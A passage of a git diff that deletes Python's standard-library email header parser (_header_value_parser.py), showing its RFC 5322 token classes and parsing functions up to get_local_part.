'unknown-8bit': - bstring = string.encode('ascii', 'surrogateescape') - else: - bstring = string.encode(charset) - if encoding is None: - qlen = _cte_encode_length['q'](bstring) - blen = _cte_encode_length['b'](bstring) - # Bias toward q. 5 is arbitrary. - encoding = 'q' if qlen - blen < 5 else 'b' - encoded = _cte_encoders[encoding](bstring) - if lang: - lang = '*' + lang - return "=?{}{}?{}?{}?=".format(charset, lang, encoding, encoded) diff --git a/email/_header_value_parser.py b/email/_header_value_parser.py deleted file mode 100755 index 14ffd30..0000000 --- a/email/_header_value_parser.py +++ /dev/null @@ -1,2817 +0,0 @@ -"""Header value parser implementing various email-related RFC parsing rules. - -The parsing methods defined in this module implement various email related -parsing rules. Principal among them is RFC 5322, which is the followon -to RFC 2822 and primarily a clarification of the former. It also implements -RFC 2047 encoded word decoding. - -RFC 5322 goes to considerable trouble to maintain backward compatibility with -RFC 822 in the parse phase, while cleaning up the structure on the generation -phase. This parser supports correct RFC 5322 generation by tagging white space -as folding white space only when folding is allowed in the non-obsolete rule -sets. Actually, the parser is even more generous when accepting input than RFC -5322 mandates, following the spirit of Postel's Law, which RFC 5322 encourages. -Where possible deviations from the standard are annotated on the 'defects' -attribute of tokens that deviate. - -The general structure of the parser follows RFC 5322, and uses its terminology -where there is a direct correspondence. Where the implementation requires a -somewhat different structure than that used by the formal grammar, new terms -that mimic the closest existing terms are used. Thus, it really helps to have -a copy of RFC 5322 handy when studying this code. - -Input to the parser is a string that has already been unfolded according to -RFC 5322 rules. According to the RFC this unfolding is the very first step, and -this parser leaves the unfolding step to a higher level message parser, which -will have already detected the line breaks that need unfolding while -determining the beginning and end of each header. - -The output of the parser is a TokenList object, which is a list subclass. A -TokenList is a recursive data structure. The terminal nodes of the structure -are Terminal objects, which are subclasses of str. These do not correspond -directly to terminal objects in the formal grammar, but are instead more -practical higher level combinations of true terminals. - -All TokenList and Terminal objects have a 'value' attribute, which produces the -semantically meaningful value of that part of the parse subtree. The value of -all whitespace tokens (no matter how many sub-tokens they may contain) is a -single space, as per the RFC rules. This includes 'CFWS', which is herein -included in the general class of whitespace tokens. There is one exception to -the rule that whitespace tokens are collapsed into single spaces in values: in -the value of a 'bare-quoted-string' (a quoted-string with no leading or -trailing whitespace), any whitespace that appeared between the quotation marks -is preserved in the returned value. Note that in all Terminal strings quoted -pairs are turned into their unquoted values. - -All TokenList and Terminal objects also have a string value, which attempts to -be a "canonical" representation of the RFC-compliant form of the substring that -produced the parsed subtree, including minimal use of quoted pair quoting. -Whitespace runs are not collapsed. - -Comment tokens also have a 'content' attribute providing the string found -between the parens (including any nested comments) with whitespace preserved. - -All TokenList and Terminal objects have a 'defects' attribute which is a -possibly empty list all of the defects found while creating the token. Defects -may appear on any token in the tree, and a composite list of all defects in the -subtree is available through the 'all_defects' attribute of any node. (For -Terminal notes x.defects == x.all_defects.) - -Each object in a parse tree is called a 'token', and each has a 'token_type' -attribute that gives the name from the RFC 5322 grammar that it represents. -Not all RFC 5322 nodes are produced, and there is one non-RFC 5322 node that -may be produced: 'ptext'. A 'ptext' is a string of printable ascii characters. -It is returned in place of lists of (ctext/quoted-pair) and -(qtext/quoted-pair). - -XXX: provide complete list of token types. -""" - -import re -import urllib # For urllib.parse.unquote -from string import hexdigits -from collections import OrderedDict -from operator import itemgetter -from email import _encoded_words as _ew -from email import errors -from email import utils - -# -# Useful constants and functions -# - -WSP = set(' \t') -CFWS_LEADER = WSP | set('(') -SPECIALS = set(r'()<>@,:;.\"[]') -ATOM_ENDS = SPECIALS | WSP -DOT_ATOM_ENDS = ATOM_ENDS - set('.') -# '.', '"', and '(' do not end phrases in order to support obs-phrase -PHRASE_ENDS = SPECIALS - set('."(') -TSPECIALS = (SPECIALS | set('/?=')) - set('.') -TOKEN_ENDS = TSPECIALS | WSP -ASPECIALS = TSPECIALS | set("*'%") -ATTRIBUTE_ENDS = ASPECIALS | WSP -EXTENDED_ATTRIBUTE_ENDS = ATTRIBUTE_ENDS - set('%') - -def quote_string(value): - return '"'+str(value).replace('\\', '\\\\').replace('"', r'\"')+'"' - -# -# TokenList and its subclasses -# - -class TokenList(list): - - token_type = None - syntactic_break = True - ew_combine_allowed = True - - def __init__(self, *args, **kw): - super().__init__(*args, **kw) - self.defects = [] - - def __str__(self): - return ''.join(str(x) for x in self) - - def __repr__(self): - return '{}({})'.format(self.__class__.__name__, - super().__repr__()) - - @property - def value(self): - return ''.join(x.value for x in self if x.value) - - @property - def all_defects(self): - return sum((x.all_defects for x in self), self.defects) - - def startswith_fws(self): - return self[0].startswith_fws() - - @property - def as_ew_allowed(self): - """True if all top level tokens of this part may be RFC2047 encoded.""" - return all(part.as_ew_allowed for part in self) - - @property - def comments(self): - comments = [] - for token in self: - comments.extend(token.comments) - return comments - - def fold(self, *, policy): - return _refold_parse_tree(self, policy=policy) - - def pprint(self, indent=''): - print(self.ppstr(indent=indent)) - - def ppstr(self, indent=''): - return '\n'.join(self._pp(indent=indent)) - - def _pp(self, indent=''): - yield '{}{}/{}('.format( - indent, - self.__class__.__name__, - self.token_type) - for token in self: - if not hasattr(token, '_pp'): - yield (indent + ' !! invalid element in token ' - 'list: {!r}'.format(token)) - else: - yield from token._pp(indent+' ') - if self.defects: - extra = ' Defects: {}'.format(self.defects) - else: - extra = '' - yield '{}){}'.format(indent, extra) - - -class WhiteSpaceTokenList(TokenList): - - @property - def value(self): - return ' ' - - @property - def comments(self): - return [x.content for x in self if x.token_type=='comment'] - - -class UnstructuredTokenList(TokenList): - - token_type = 'unstructured' - - -class Phrase(TokenList): - - token_type = 'phrase' - -class Word(TokenList): - - token_type = 'word' - - -class CFWSList(WhiteSpaceTokenList): - - token_type = 'cfws' - - -class Atom(TokenList): - - token_type = 'atom' - - -class Token(TokenList): - - token_type = 'token' - encode_as_ew = False - - -class EncodedWord(TokenList): - - token_type = 'encoded-word' - cte = None - charset = None - lang = None - - -class QuotedString(TokenList): - - token_type = 'quoted-string' - - @property - def content(self): - for x in self: - if x.token_type == 'bare-quoted-string': - return x.value - - @property - def quoted_value(self): - res = [] - for x in self: - if x.token_type == 'bare-quoted-string': - res.append(str(x)) - else: - res.append(x.value) - return ''.join(res) - - @property - def stripped_value(self): - for token in self: - if token.token_type == 'bare-quoted-string': - return token.value - - -class BareQuotedString(QuotedString): - - token_type = 'bare-quoted-string' - - def __str__(self): - return quote_string(''.join(str(x) for x in self)) - - @property - def value(self): - return ''.join(str(x) for x in self) - - -class Comment(WhiteSpaceTokenList): - - token_type = 'comment' - - def __str__(self): - return ''.join(sum([ - ["("], - [self.quote(x) for x in self], - [")"], - ], [])) - - def quote(self, value): - if value.token_type == 'comment': - return str(value) - return str(value).replace('\\', '\\\\').replace( - '(', r'\(').replace( - ')', r'\)') - - @property - def content(self): - return ''.join(str(x) for x in self) - - @property - def comments(self): - return [self.content] - -class AddressList(TokenList): - - token_type = 'address-list' - - @property - def addresses(self): - return [x for x in self if x.token_type=='address'] - - @property - def mailboxes(self): - return sum((x.mailboxes - for x in self if x.token_type=='address'), []) - - @property - def all_mailboxes(self): - return sum((x.all_mailboxes - for x in self if x.token_type=='address'), []) - - -class Address(TokenList): - - token_type = 'address' - - @property - def display_name(self): - if self[0].token_type == 'group': - return self[0].display_name - - @property - def mailboxes(self): - if self[0].token_type == 'mailbox': - return [self[0]] - elif self[0].token_type == 'invalid-mailbox': - return [] - return self[0].mailboxes - - @property - def all_mailboxes(self): - if self[0].token_type == 'mailbox': - return [self[0]] - elif self[0].token_type == 'invalid-mailbox': - return [self[0]] - return self[0].all_mailboxes - -class MailboxList(TokenList): - - token_type = 'mailbox-list' - - @property - def mailboxes(self): - return [x for x in self if x.token_type=='mailbox'] - - @property - def all_mailboxes(self): - return [x for x in self - if x.token_type in ('mailbox', 'invalid-mailbox')] - - -class GroupList(TokenList): - - token_type = 'group-list' - - @property - def mailboxes(self): - if not self or self[0].token_type != 'mailbox-list': - return [] - return self[0].mailboxes - - @property - def all_mailboxes(self): - if not self or self[0].token_type != 'mailbox-list': - return [] - return self[0].all_mailboxes - - -class Group(TokenList): - - token_type = "group" - - @property - def mailboxes(self): - if self[2].token_type != 'group-list': - return [] - return self[2].mailboxes - - @property - def all_mailboxes(self): - if self[2].token_type != 'group-list': - return [] - return self[2].all_mailboxes - - @property - def display_name(self): - return self[0].display_name - - -class NameAddr(TokenList): - - token_type = 'name-addr' - - @property - def display_name(self): - if len(self) == 1: - return None - return self[0].display_name - - @property - def local_part(self): - return self[-1].local_part - - @property - def domain(self): - return self[-1].domain - - @property - def route(self): - return self[-1].route - - @property - def addr_spec(self): - return self[-1].addr_spec - - -class AngleAddr(TokenList): - - token_type = 'angle-addr' - - @property - def local_part(self): - for x in self: - if x.token_type == 'addr-spec': - return x.local_part - - @property - def domain(self): - for x in self: - if x.token_type == 'addr-spec': - return x.domain - - @property - def route(self): - for x in self: - if x.token_type == 'obs-route': - return x.domains - - @property - def addr_spec(self): - for x in self: - if x.token_type == 'addr-spec': - if x.local_part: - return x.addr_spec - else: - return quote_string(x.local_part) + x.addr_spec - else: - return '<>' - - -class ObsRoute(TokenList): - - token_type = 'obs-route' - - @property - def domains(self): - return [x.domain for x in self if x.token_type == 'domain'] - - -class Mailbox(TokenList): - - token_type = 'mailbox' - - @property - def display_name(self): - if self[0].token_type == 'name-addr': - return self[0].display_name - - @property - def local_part(self): - return self[0].local_part - - @property - def domain(self): - return self[0].domain - - @property - def route(self): - if self[0].token_type == 'name-addr': - return self[0].route - - @property - def addr_spec(self): - return self[0].addr_spec - - -class InvalidMailbox(TokenList): - - token_type = 'invalid-mailbox' - - @property - def display_name(self): - return None - - local_part = domain = route = addr_spec = display_name - - -class Domain(TokenList): - - token_type = 'domain' - as_ew_allowed = False - - @property - def domain(self): - return ''.join(super().value.split()) - - -class DotAtom(TokenList): - - token_type = 'dot-atom' - - -class DotAtomText(TokenList): - - token_type = 'dot-atom-text' - as_ew_allowed = True - - -class AddrSpec(TokenList): - - token_type = 'addr-spec' - as_ew_allowed = False - - @property - def local_part(self): - return self[0].local_part - - @property - def domain(self): - if len(self) < 3: - return None - return self[-1].domain - - @property - def value(self): - if len(self) < 3: - return self[0].value - return self[0].value.rstrip()+self[1].value+self[2].value.lstrip() - - @property - def addr_spec(self): - nameset = set(self.local_part) - if len(nameset) > len(nameset-DOT_ATOM_ENDS): - lp = quote_string(self.local_part) - else: - lp = self.local_part - if self.domain is not None: - return lp + '@' + self.domain - return lp - - -class ObsLocalPart(TokenList): - - token_type = 'obs-local-part' - as_ew_allowed = False - - -class DisplayName(Phrase): - - token_type = 'display-name' - ew_combine_allowed = False - - @property - def display_name(self): - res = TokenList(self) - if res[0].token_type == 'cfws': - res.pop(0) - else: - if res[0][0].token_type == 'cfws': - res[0] = TokenList(res[0][1:]) - if res[-1].token_type == 'cfws': - res.pop() - else: - if res[-1][-1].token_type == 'cfws': - res[-1] = TokenList(res[-1][:-1]) - return res.value - - @property - def value(self): - quote = False - if self.defects: - quote = True - else: - for x in self: - if x.token_type == 'quoted-string': - quote = True - if quote: - pre = post = '' - if self[0].token_type=='cfws' or self[0][0].token_type=='cfws': - pre = ' ' - if self[-1].token_type=='cfws' or self[-1][-1].token_type=='cfws': - post = ' ' - return pre+quote_string(self.display_name)+post - else: - return super().value - - -class LocalPart(TokenList): - - token_type = 'local-part' - as_ew_allowed = False - - @property - def value(self): - if self[0].token_type == "quoted-string": - return self[0].quoted_value - else: - return self[0].value - - @property - def local_part(self): - # Strip whitespace from front, back, and around dots. - res = [DOT] - last = DOT - last_is_tl = False - for tok in self[0] + [DOT]: - if tok.token_type == 'cfws': - continue - if (last_is_tl and tok.token_type == 'dot' and - last[-1].token_type == 'cfws'): - res[-1] = TokenList(last[:-1]) - is_tl = isinstance(tok, TokenList) - if (is_tl and last.token_type == 'dot' and - tok[0].token_type == 'cfws'): - res.append(TokenList(tok[1:])) - else: - res.append(tok) - last = res[-1] - last_is_tl = is_tl - res = TokenList(res[1:-1]) - return res.value - - -class DomainLiteral(TokenList): - - token_type = 'domain-literal' - as_ew_allowed = False - - @property - def domain(self): - return ''.join(super().value.split()) - - @property - def ip(self): - for x in self: - if x.token_type == 'ptext': - return x.value - - -class MIMEVersion(TokenList): - - token_type = 'mime-version' - major = None - minor = None - - -class Parameter(TokenList): - - token_type = 'parameter' - sectioned = False - extended = False - charset = 'us-ascii' - - @property - def section_number(self): - # Because the first token, the attribute (name) eats CFWS, the second - # token is always the section if there is one. - return self[1].number if self.sectioned else 0 - - @property - def param_value(self): - # This is part of the "handle quoted extended parameters" hack. - for token in self: - if token.token_type == 'value': - return token.stripped_value - if token.token_type == 'quoted-string': - for token in token: - if token.token_type == 'bare-quoted-string': - for token in token: - if token.token_type == 'value': - return token.stripped_value - return '' - - -class InvalidParameter(Parameter): - - token_type = 'invalid-parameter' - - -class Attribute(TokenList): - - token_type = 'attribute' - - @property - def stripped_value(self): - for token in self: - if token.token_type.endswith('attrtext'): - return token.value - -class Section(TokenList): - - token_type = 'section' - number = None - - -class Value(TokenList): - - token_type = 'value' - - @property - def stripped_value(self): - token = self[0] - if token.token_type == 'cfws': - token = self[1] - if token.token_type.endswith( - ('quoted-string', 'attribute', 'extended-attribute')): - return token.stripped_value - return self.value - - -class MimeParameters(TokenList): - - token_type = 'mime-parameters' - syntactic_break = False - - @property - def params(self): - # The RFC specifically states that the ordering of parameters is not - # guaranteed and may be reordered by the transport layer. So we have - # to assume the RFC 2231 pieces can come in any order. However, we - # output them in the order that we first see a given name, which gives - # us a stable __str__. - params = OrderedDict() - for token in self: - if not token.token_type.endswith('parameter'): - continue - if token[0].token_type != 'attribute': - continue - name = token[0].value.strip() - if name not in params: - params[name] = [] - params[name].append((token.section_number, token)) - for name, parts in params.items(): - parts = sorted(parts, key=itemgetter(0)) - first_param = parts[0][1] - charset = first_param.charset - # Our arbitrary error recovery is to ignore duplicate parameters, - # to use appearance order if there are duplicate rfc 2231 parts, - # and to ignore gaps. This mimics the error recovery of get_param. - if not first_param.extended and len(parts) > 1: - if parts[1][0] == 0: - parts[1][1].defects.append(errors.InvalidHeaderDefect( - 'duplicate parameter name; duplicate(s) ignored')) - parts = parts[:1] - # Else assume the *0* was missing...note that this is different - # from get_param, but we registered a defect for this earlier. - value_parts = [] - i = 0 - for section_number, param in parts: - if section_number != i: - # We could get fancier here and look for a complete - # duplicate extended parameter and ignore the second one - # seen. But we're not doing that. The old code didn't. - if not param.extended: - param.defects.append(errors.InvalidHeaderDefect( - 'duplicate parameter name; duplicate ignored')) - continue - else: - param.defects.append(errors.InvalidHeaderDefect( - "inconsistent RFC2231 parameter numbering")) - i += 1 - value = param.param_value - if param.extended: - try: - value = urllib.parse.unquote_to_bytes(value) - except UnicodeEncodeError: - # source had surrogate escaped bytes. What we do now - # is a bit of an open question. I'm not sure this is - # the best choice, but it is what the old algorithm did - value = urllib.parse.unquote(value, encoding='latin-1') - else: - try: - value = value.decode(charset, 'surrogateescape') - except LookupError: - # XXX: there should really be a custom defect for - # unknown character set to make it easy to find, - # because otherwise unknown charset is a silent - # failure. - value = value.decode('us-ascii', 'surrogateescape') - if utils._has_surrogates(value): - param.defects.append(errors.UndecodableBytesDefect()) - value_parts.append(value) - value = ''.join(value_parts) - yield name, value - - def __str__(self): - params = [] - for name, value in self.params: - if value: - params.append('{}={}'.format(name, quote_string(value))) - else: - params.append(name) - params = '; '.join(params) - return ' ' + params if params else '' - - -class ParameterizedHeaderValue(TokenList): - - # Set this false so that the value doesn't wind up on a new line even - # if it and the parameters would fit there but not on the first line. - syntactic_break = False - - @property - def params(self): - for token in reversed(self): - if token.token_type == 'mime-parameters': - return token.params - return {} - - -class ContentType(ParameterizedHeaderValue): - - token_type = 'content-type' - as_ew_allowed = False - maintype = 'text' - subtype = 'plain' - - -class ContentDisposition(ParameterizedHeaderValue): - - token_type = 'content-disposition' - as_ew_allowed = False - content_disposition = None - - -class ContentTransferEncoding(TokenList): - - token_type = 'content-transfer-encoding' - as_ew_allowed = False - cte = '7bit' - - -class HeaderLabel(TokenList): - - token_type = 'header-label' - as_ew_allowed = False - - -class Header(TokenList): - - token_type = 'header' - - -# -# Terminal classes and instances -# - -class Terminal(str): - - as_ew_allowed = True - ew_combine_allowed = True - syntactic_break = True - - def __new__(cls, value, token_type): - self = super().__new__(cls, value) - self.token_type = token_type - self.defects = [] - return self - - def __repr__(self): - return "{}({})".format(self.__class__.__name__, super().__repr__()) - - def pprint(self): - print(self.__class__.__name__ + '/' + self.token_type) - - @property - def all_defects(self): - return list(self.defects) - - def _pp(self, indent=''): - return ["{}{}/{}({}){}".format( - indent, - self.__class__.__name__, - self.token_type, - super().__repr__(), - '' if not self.defects else ' {}'.format(self.defects), - )] - - def pop_trailing_ws(self): - # This terminates the recursion. - return None - - @property - def comments(self): - return [] - - def __getnewargs__(self): - return(str(self), self.token_type) - - -class WhiteSpaceTerminal(Terminal): - - @property - def value(self): - return ' ' - - def startswith_fws(self): - return True - - -class ValueTerminal(Terminal): - - @property - def value(self): - return self - - def startswith_fws(self): - return False - - -class EWWhiteSpaceTerminal(WhiteSpaceTerminal): - - @property - def value(self): - return '' - - def __str__(self): - return '' - - -# XXX these need to become classes and used as instances so -# that a program can't change them in a parse tree and screw -# up other parse trees. Maybe should have tests for that, too. -DOT = ValueTerminal('.', 'dot') -ListSeparator = ValueTerminal(',', 'list-separator') -RouteComponentMarker = ValueTerminal('@', 'route-component-marker') - -# -# Parser -# - -# Parse strings according to RFC822/2047/2822/5322 rules. -# -# This is a stateless parser. Each get_XXX function accepts a string and -# returns either a Terminal or a TokenList representing the RFC object named -# by the method and a string containing the remaining unparsed characters -# from the input. Thus a parser method consumes the next syntactic construct -# of a given type and returns a token representing the construct plus the -# unparsed remainder of the input string. -# -# For example, if the first element of a structured header is a 'phrase', -# then: -# -# phrase, value = get_phrase(value) -# -# returns the complete phrase from the start of the string value, plus any -# characters left in the string after the phrase is removed. - -_wsp_splitter = re.compile(r'([{}]+)'.format(''.join(WSP))).split -_non_atom_end_matcher = re.compile(r"[^{}]+".format( - ''.join(ATOM_ENDS).replace('\\','\\\\').replace(']',r'\]'))).match -_non_printable_finder = re.compile(r"[\x00-\x20\x7F]").findall -_non_token_end_matcher = re.compile(r"[^{}]+".format( - ''.join(TOKEN_ENDS).replace('\\','\\\\').replace(']',r'\]'))).match -_non_attribute_end_matcher = re.compile(r"[^{}]+".format( - ''.join(ATTRIBUTE_ENDS).replace('\\','\\\\').replace(']',r'\]'))).match -_non_extended_attribute_end_matcher = re.compile(r"[^{}]+".format( - ''.join(EXTENDED_ATTRIBUTE_ENDS).replace( - '\\','\\\\').replace(']',r'\]'))).match - -def _validate_xtext(xtext): - """If input token contains ASCII non-printables, register a defect.""" - - non_printables = _non_printable_finder(xtext) - if non_printables: - xtext.defects.append(errors.NonPrintableDefect(non_printables)) - if utils._has_surrogates(xtext): - xtext.defects.append(errors.UndecodableBytesDefect( - "Non-ASCII characters found in header token")) - -def _get_ptext_to_endchars(value, endchars): - """Scan printables/quoted-pairs until endchars and return unquoted ptext. - - This function turns a run of qcontent, ccontent-without-comments, or - dtext-with-quoted-printables into a single string by unquoting any - quoted printables. It returns the string, the remaining value, and - a flag that is True iff there were any quoted printables decoded. - - """ - fragment, *remainder = _wsp_splitter(value, 1) - vchars = [] - escape = False - had_qp = False - for pos in range(len(fragment)): - if fragment[pos] == '\\': - if escape: - escape = False - had_qp = True - else: - escape = True - continue - if escape: - escape = False - elif fragment[pos] in endchars: - break - vchars.append(fragment[pos]) - else: - pos = pos + 1 - return ''.join(vchars), ''.join([fragment[pos:]] + remainder), had_qp - -def get_fws(value): - """FWS = 1*WSP - - This isn't the RFC definition. We're using fws to represent tokens where - folding can be done, but when we are parsing the *un*folding has already - been done so we don't need to watch out for CRLF. - - """ - newvalue = value.lstrip() - fws = WhiteSpaceTerminal(value[:len(value)-len(newvalue)], 'fws') - return fws, newvalue - -def get_encoded_word(value): - """ encoded-word = "=?" charset "?" encoding "?" encoded-text "?=" - - """ - ew = EncodedWord() - if not value.startswith('=?'): - raise errors.HeaderParseError( - "expected encoded word but found {}".format(value)) - tok, *remainder = value[2:].split('?=', 1) - if tok == value[2:]: - raise errors.HeaderParseError( - "expected encoded word but found {}".format(value)) - remstr = ''.join(remainder) - if len(remstr) > 1 and remstr[0] in hexdigits and remstr[1] in hexdigits: - # The ? after the CTE was followed by an encoded word escape (=XX). - rest, *remainder = remstr.split('?=', 1) - tok = tok + '?=' + rest - if len(tok.split()) > 1: - ew.defects.append(errors.InvalidHeaderDefect( - "whitespace inside encoded word")) - ew.cte = value - value = ''.join(remainder) - try: - text, charset, lang, defects = _ew.decode('=?' + tok + '?=') - except ValueError: - raise errors.HeaderParseError( - "encoded word format invalid: '{}'".format(ew.cte)) - ew.charset = charset - ew.lang = lang - ew.defects.extend(defects) - while text: - if text[0] in WSP: - token, text = get_fws(text) - ew.append(token) - continue - chars, *remainder = _wsp_splitter(text, 1) - vtext = ValueTerminal(chars, 'vtext') - _validate_xtext(vtext) - ew.append(vtext) - text = ''.join(remainder) - return ew, value - -def get_unstructured(value): - """unstructured = (*([FWS] vchar) *WSP) / obs-unstruct - obs-unstruct = *((*LF *CR *(obs-utext) *LF *CR)) / FWS) - obs-utext = %d0 / obs-NO-WS-CTL / LF / CR - - obs-NO-WS-CTL is control characters except WSP/CR/LF. - - So, basically, we have printable runs, plus control characters or nulls in - the obsolete syntax, separated by whitespace. Since RFC 2047 uses the - obsolete syntax in its specification, but requires whitespace on either - side of the encoded words, I can see no reason to need to separate the - non-printable-non-whitespace from the printable runs if they occur, so we - parse this into xtext tokens separated by WSP tokens. - - Because an 'unstructured' value must by definition constitute the entire - value, this 'get' routine does not return a remaining value, only the - parsed TokenList. - - """ - # XXX: but what about bare CR and LF? They might signal the start or - # end of an encoded word. YAGNI for now, since our current parsers - # will never send us strings with bare CR or LF. - - unstructured = UnstructuredTokenList() - while value: - if value[0] in WSP: - token, value = get_fws(value) - unstructured.append(token) - continue - if value.startswith('=?'): - try: - token, value = get_encoded_word(value) - except errors.HeaderParseError: - # XXX: Need to figure out how to register defects when - # appropriate here. - pass - else: - have_ws = True - if len(unstructured) > 0: - if unstructured[-1].token_type != 'fws': - unstructured.defects.append(errors.InvalidHeaderDefect( - "missing whitespace before encoded word")) - have_ws = False - if have_ws and len(unstructured) > 1: - if unstructured[-2].token_type == 'encoded-word': - unstructured[-1] = EWWhiteSpaceTerminal( - unstructured[-1], 'fws') - unstructured.append(token) - continue - tok, *remainder = _wsp_splitter(value, 1) - vtext = ValueTerminal(tok, 'vtext') - _validate_xtext(vtext) - unstructured.append(vtext) - value = ''.join(remainder) - return unstructured - -def get_qp_ctext(value): - r"""ctext = - - This is not the RFC ctext, since we are handling nested comments in comment - and unquoting quoted-pairs here. We allow anything except the '()' - characters, but if we find any ASCII other than the RFC defined printable - ASCII, a NonPrintableDefect is added to the token's defects list. Since - quoted pairs are converted to their unquoted values, what is returned is - a 'ptext' token. In this case it is a WhiteSpaceTerminal, so it's value - is ' '. - - """ - ptext, value, _ = _get_ptext_to_endchars(value, '()') - ptext = WhiteSpaceTerminal(ptext, 'ptext') - _validate_xtext(ptext) - return ptext, value - -def get_qcontent(value): - """qcontent = qtext / quoted-pair - - We allow anything except the DQUOTE character, but if we find any ASCII - other than the RFC defined printable ASCII, a NonPrintableDefect is - added to the token's defects list. Any quoted pairs are converted to their - unquoted values, so what is returned is a 'ptext' token. In this case it - is a ValueTerminal. - - """ - ptext, value, _ = _get_ptext_to_endchars(value, '"') - ptext = ValueTerminal(ptext, 'ptext') - _validate_xtext(ptext) - return ptext, value - -def get_atext(value): - """atext = - - We allow any non-ATOM_ENDS in atext, but add an InvalidATextDefect to - the token's defects list if we find non-atext characters. - """ - m = _non_atom_end_matcher(value) - if not m: - raise errors.HeaderParseError( - "expected atext but found '{}'".format(value)) - atext = m.group() - value = value[len(atext):] - atext = ValueTerminal(atext, 'atext') - _validate_xtext(atext) - return atext, value - -def get_bare_quoted_string(value): - """bare-quoted-string = DQUOTE *([FWS] qcontent) [FWS] DQUOTE - - A quoted-string without the leading or trailing white space. Its - value is the text between the quote marks, with whitespace - preserved and quoted pairs decoded. - """ - if value[0] != '"': - raise errors.HeaderParseError( - "expected '\"' but found '{}'".format(value)) - bare_quoted_string = BareQuotedString() - value = value[1:] - if value[0] == '"': - token, value = get_qcontent(value) - bare_quoted_string.append(token) - while value and value[0] != '"': - if value[0] in WSP: - token, value = get_fws(value) - elif value[:2] == '=?': - try: - token, value = get_encoded_word(value) - bare_quoted_string.defects.append(errors.InvalidHeaderDefect( - "encoded word inside quoted string")) - except errors.HeaderParseError: - token, value = get_qcontent(value) - else: - token, value = get_qcontent(value) - bare_quoted_string.append(token) - if not value: - bare_quoted_string.defects.append(errors.InvalidHeaderDefect( - "end of header inside quoted string")) - return bare_quoted_string, value - return bare_quoted_string, value[1:] - -def get_comment(value): - """comment = "(" *([FWS] ccontent) [FWS] ")" - ccontent = ctext / quoted-pair / comment - - We handle nested comments here, and quoted-pair in our qp-ctext routine. - """ - if value and value[0] != '(': - raise errors.HeaderParseError( - "expected '(' but found '{}'".format(value)) - comment = Comment() - value = value[1:] - while value and value[0] != ")": - if value[0] in WSP: - token, value = get_fws(value) - elif value[0] == '(': - token, value = get_comment(value) - else: - token, value = get_qp_ctext(value) - comment.append(token) - if not value: - comment.defects.append(errors.InvalidHeaderDefect( - "end of header inside comment")) - return comment, value - return comment, value[1:] - -def get_cfws(value): - """CFWS = (1*([FWS] comment) [FWS]) / FWS - - """ - cfws = CFWSList() - while value and value[0] in CFWS_LEADER: - if value[0] in WSP: - token, value = get_fws(value) - else: - token, value = get_comment(value) - cfws.append(token) - return cfws, value - -def get_quoted_string(value): - """quoted-string = [CFWS] [CFWS] - - 'bare-quoted-string' is an intermediate class defined by this - parser and not by the RFC grammar. It is the quoted string - without any attached CFWS. - """ - quoted_string = QuotedString() - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - quoted_string.append(token) - token, value = get_bare_quoted_string(value) - quoted_string.append(token) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - quoted_string.append(token) - return quoted_string, value - -def get_atom(value): - """atom = [CFWS] 1*atext [CFWS] - - An atom could be an rfc2047 encoded word. - """ - atom = Atom() - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - atom.append(token) - if value and value[0] in ATOM_ENDS: - raise errors.HeaderParseError( - "expected atom but found '{}'".format(value)) - if value.startswith('=?'): - try: - token, value = get_encoded_word(value) - except errors.HeaderParseError: - # XXX: need to figure out how to register defects when - # appropriate here. - token, value = get_atext(value) - else: - token, value = get_atext(value) - atom.append(token) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - atom.append(token) - return atom, value - -def get_dot_atom_text(value): - """ dot-text = 1*atext *("." 1*atext) - - """ - dot_atom_text = DotAtomText() - if not value or value[0] in ATOM_ENDS: - raise errors.HeaderParseError("expected atom at a start of " - "dot-atom-text but found '{}'".format(value)) - while value and value[0] not in ATOM_ENDS: - token, value = get_atext(value) - dot_atom_text.append(token) - if value and value[0] == '.': - dot_atom_text.append(DOT) - value = value[1:] - if dot_atom_text[-1] is DOT: - raise errors.HeaderParseError("expected atom at end of dot-atom-text " - "but found '{}'".format('.'+value)) - return dot_atom_text, value - -def get_dot_atom(value): - """ dot-atom = [CFWS] dot-atom-text [CFWS] - - Any place we can have a dot atom, we could instead have an rfc2047 encoded - word. - """ - dot_atom = DotAtom() - if value[0] in CFWS_LEADER: - token, value = get_cfws(value) - dot_atom.append(token) - if value.startswith('=?'): - try: - token, value = get_encoded_word(value) - except errors.HeaderParseError: - # XXX: need to figure out how to register defects when - # appropriate here. - token, value = get_dot_atom_text(value) - else: - token, value = get_dot_atom_text(value) - dot_atom.append(token) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - dot_atom.append(token) - return dot_atom, value - -def get_word(value): - """word = atom / quoted-string - - Either atom or quoted-string may start with CFWS. We have to peel off this - CFWS first to determine which type of word to parse. Afterward we splice - the leading CFWS, if any, into the parsed sub-token. - - If neither an atom or a quoted-string is found before the next special, a - HeaderParseError is raised. - - The token returned is either an Atom or a QuotedString, as appropriate. - This means the 'word' level of the formal grammar is not represented in the - parse tree; this is because having that extra layer when manipulating the - parse tree is more confusing than it is helpful. - - """ - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - else: - leader = None - if value[0]=='"': - token, value = get_quoted_string(value) - elif value[0] in SPECIALS: - raise errors.HeaderParseError("Expected 'atom' or 'quoted-string' " - "but found '{}'".format(value)) - else: - token, value = get_atom(value) - if leader is not None: - token[:0] = [leader] - return token, value - -def get_phrase(value): - """ phrase = 1*word / obs-phrase - obs-phrase = word *(word / "." / CFWS) - - This means a phrase can be a sequence of words, periods, and CFWS in any - order as long as it starts with at least one word. If anything other than - words is detected, an ObsoleteHeaderDefect is added to the token's defect - list. We also accept a phrase that starts with CFWS followed by a dot; - this is registered as an InvalidHeaderDefect, since it is not supported by - even the obsolete grammar. - - """ - phrase = Phrase() - try: - token, value = get_word(value) - phrase.append(token) - except errors.HeaderParseError: - phrase.defects.append(errors.InvalidHeaderDefect( - "phrase does not start with word")) - while value and value[0] not in PHRASE_ENDS: - if value[0]=='.': - phrase.append(DOT) - phrase.defects.append(errors.ObsoleteHeaderDefect( - "period in 'phrase'")) - value = value[1:] - else: - try: - token, value = get_word(value) - except errors.HeaderParseError: - if value[0] in CFWS_LEADER: - token, value = get_cfws(value) - phrase.defects.append(errors.ObsoleteHeaderDefect( - "comment found without atom")) - else: - raise - phrase.append(token) - return phrase, value - -def get_local_part(value): - """ local-part = dot-atom / quoted-string / obs-local-part - - """ - 